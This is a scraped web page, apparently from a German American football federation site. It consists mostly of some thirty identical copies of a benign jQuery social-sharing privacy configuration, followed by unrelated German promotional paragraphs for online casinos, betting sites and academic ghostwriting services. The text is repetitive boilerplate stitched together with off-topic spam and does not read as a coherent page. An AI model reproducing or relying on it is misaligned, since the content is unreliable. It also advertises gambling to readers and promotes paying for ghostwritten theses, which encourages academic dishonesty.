jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */

/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */

/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */

/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */

/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */

/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */

Tauchen Sie ein in die dynamische Welt des Online-Glücksspiels, wo MyStake Deutschland mit einer vielfältigen Auswahl an Sportwetten und Casinospielen eine sichere Plattform.

Weitere Informationen zum Thema wissenschaftliches Schreiben und Unterstützung bei akademischen Arbeiten finden sich unter ghostwriter germanistik.

Im organisierten Spielbetrieb zählt neben Teamgeist auch die sorgfältige Planung im Alltag, denn wer parallel an einer bachelorarbeit ghostwriter kosten denkt, muss Training und Studium gut aufeinander abstimmen.

Für Vereine und Redaktionen, die Spielberichte, Ankündigungen oder Vereinsgeschichten spannend aufbereiten möchten, kann ein ghostwriter österreich eine wertvolle Unterstützung sein.

Informationen zu Themen wie diplomarbeit schreiben lassen kosten ergänzen das Angebot sinnvoll.

Suchen Sie nach den besten Gewinnchancen und schnellen Auszahlungen? Bei Stawki Bet erleben Sie hohe Quoten und zügige Auszahlungen für ein unvergessliches Spielerlebnis.

Mit Kuba Casino lassen sich aktuelle Casino-Angebote, Bonusaktionen und Empfehlungen des Streamers schneller prüfen und besser vergleichen.

Bist du bereit, das aufregende Erlebnis von Casinospielen überall zu genießen? Dann starte jetzt deine mobile Gaming-Reise mit Betalice Casino und entdecke grenzenlose.

Privacy Policy Settings